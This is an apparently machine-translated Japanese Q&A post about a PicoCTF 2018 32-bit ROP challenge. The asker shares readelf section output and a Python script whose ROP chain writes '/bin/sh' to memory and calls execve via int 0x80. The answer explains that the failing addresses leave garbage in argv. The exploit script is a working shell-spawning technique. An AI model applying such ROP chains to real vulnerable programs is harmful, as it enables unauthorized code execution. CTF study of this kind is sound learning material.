web-dev-qa-db-ja.com

バイナリーのどこに '/ bin / sh'を書いてシェルを取得できますか?

非常に奇妙に思われるCTFチャレンジでいくつかの動作に遭遇し、誰かがそれを理解してくれるかどうか疑問に思っていました。

CTFチャレンジは PicoCTF2018でのcan-you-gets-meチャレンジ でした。

これはROPチャレンジ(32ビット)であり、最初の試みで、「/ bin/sh\x00」を.dataセクション(0x080ea6a0)の中央に書き込みましたが、私がエクスプロイトを実行したとき、私は得ました:

/bin/sh: 1: /bin/sh: Syntax error: Word unexpected (expecting ")")

いくつかの解決策をオンラインで調べた後、私は彼らが私に対して異なるアドレスを使用していたことに気付きました。私はそれらの1つを試してみましたが、このエクスプロイトはどのセクションにもないように見えるアドレス(0x80e9d60)で機能することがわかりました。

セクションのreadelf出力は次のとおりです。

$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
  [ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  23  4
  [ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
  [ 5] .plt              PROGBITS        080481d0 0001d0 0000e0 00  AX  0   0 16
  [ 6] .text             PROGBITS        080482b0 0002b0 07253c 00  AX  0   0 16
  [ 7] __libc_freeres_fn PROGBITS        080ba7f0 0727f0 000a6d 00  AX  0   0 16
  [ 8] __libc_thread_fre PROGBITS        080bb260 073260 00009e 00  AX  0   0 16
  [ 9] .fini             PROGBITS        080bb300 073300 000014 00  AX  0   0  4
  [10] .rodata           PROGBITS        080bb320 073320 01a8ac 00   A  0   0 32
  [11] __libc_subfreeres PROGBITS        080d5bcc 08dbcc 000028 00   A  0   0  4
  [12] __libc_atexit     PROGBITS        080d5bf4 08dbf4 000004 00   A  0   0  4
  [13] __libc_thread_sub PROGBITS        080d5bf8 08dbf8 000004 00   A  0   0  4
  [14] .eh_frame         PROGBITS        080d5bfc 08dbfc 012b10 00   A  0   0  4
  [15] .gcc_except_table PROGBITS        080e870c 0a070c 0000d0 00   A  0   0  1
  [16] .tdata            PROGBITS        080e9f5c 0a0f5c 000010 00 WAT  0   0  4
  [17] .tbss             NOBITS          080e9f6c 0a0f6c 000018 00 WAT  0   0  4
  [18] .init_array       INIT_ARRAY      080e9f6c 0a0f6c 000008 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      080e9f74 0a0f74 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        080e9f7c 0a0f7c 000004 00  WA  0   0  4
  [21] .data.rel.ro      PROGBITS        080e9f80 0a0f80 000070 00  WA  0   0 32
  [22] .got              PROGBITS        080e9ff0 0a0ff0 000008 04  WA  0   0  4
  [23] .got.plt          PROGBITS        080ea000 0a1000 000044 04  WA  0   0  4
  [24] .data             PROGBITS        080ea060 0a1060 000f20 00  WA  0   0 32
  [25] .bss              NOBITS          080eaf80 0a1f80 000e0c 00  WA  0   0 32
  [26] __libc_freeres_pt NOBITS          080ebd8c 0a1f80 000018 00  WA  0   0  4
  [27] .comment          PROGBITS        00000000 0a1f80 000035 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 0b0b7c 00014c 00      0   0  1
  [29] .symtab           SYMTAB          00000000 0a1fb8 007ec0 10     30 847  4
  [30] .strtab           STRTAB          00000000 0a9e78 006d04 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

そして、これがうまくいったアドレスのいくつかの例です:

  • 0x080e9d60(上記)
  • 0x080e9ff0.got
  • 0x080ebd8clibc_freeres_ptrs
  • 0x080e9f3c
  • 0x080e9f4c
  • 0x080e9f4c
  • 0x080ea040
  • 0x080eaf60
  • 0x080ebd6c

私の質問は次のとおりです:これらのアドレスの上でエクスプロイトが機能するのに特別なものはありますが、他の人は機能しませんか?エクスプロイトでデータを書き込みますか?

ROPスタック参照のために、ペイロードの生成に使用しているpythonスクリプトの一部を以下に示します。

# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60

# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret

# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'

# The buffer to overwrite with junk
payload = 'A'*28

# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)

# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)

# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)

# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)

# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)

編集:もう少し調査した後、私が思いついた考えられる1つの説明は、新しい/bin/shプロセスがメモリの一部を上書きすることです。 https://stackoverflow.com/a/5429592/6567876 を参照してください。それが理由ですか?

3
Zack

書き込み可能な任意のページに書き込むことができるはずです(アドレスに、入力ベクトルが区切り文字またはフィルターアウトとして使用する不良バイトが含まれている場合を除く)。 _0x80e9d60_は、そのような書き込み可能な領域の1つです。使用しているアドレス_0x080ea6a0_(main_arenaにある)には、本質的に問題はありません。

_int 0x80_を実行している場合、関連するレジスタは次のとおりです。

eax:0xb(syscall:sys_execve)
ebx:0x80ea6a0(ファイル名: "/ bin/sh")
ecx:0x80ea6a8(argv:[0x080ea6a0、0x080ea6a0、...])
edx:0x0000000(envp:null)

argvに問題がありますか?記事の元のropスタックでは、ecxがゼロになっています。ただし、ecxは_address+8_のみであり、addressに応じてnullバイトが含まれる場合と含まれない場合があります。つまり、本質的に_/bin/sh *garbage* *garbage* .._を呼び出す必要がありますが、_/bin/sh_である必要があります。したがって、コードは実際に実行されていますが、_/bin/sh_は、渡されるガベージ引数と混同されます。

argvをnullまたは他の適切な値にする必要があります(実際に引数を渡す場合)。そのため、ROPスタックを変更してecx (argv)をnullにするか、_address + 8_にnullがあるアドレスを選択します。

デバッガーでエクスプロイトを実行して、実際に何が起こっているかを確認することを習慣にしてください。

2
rhodeo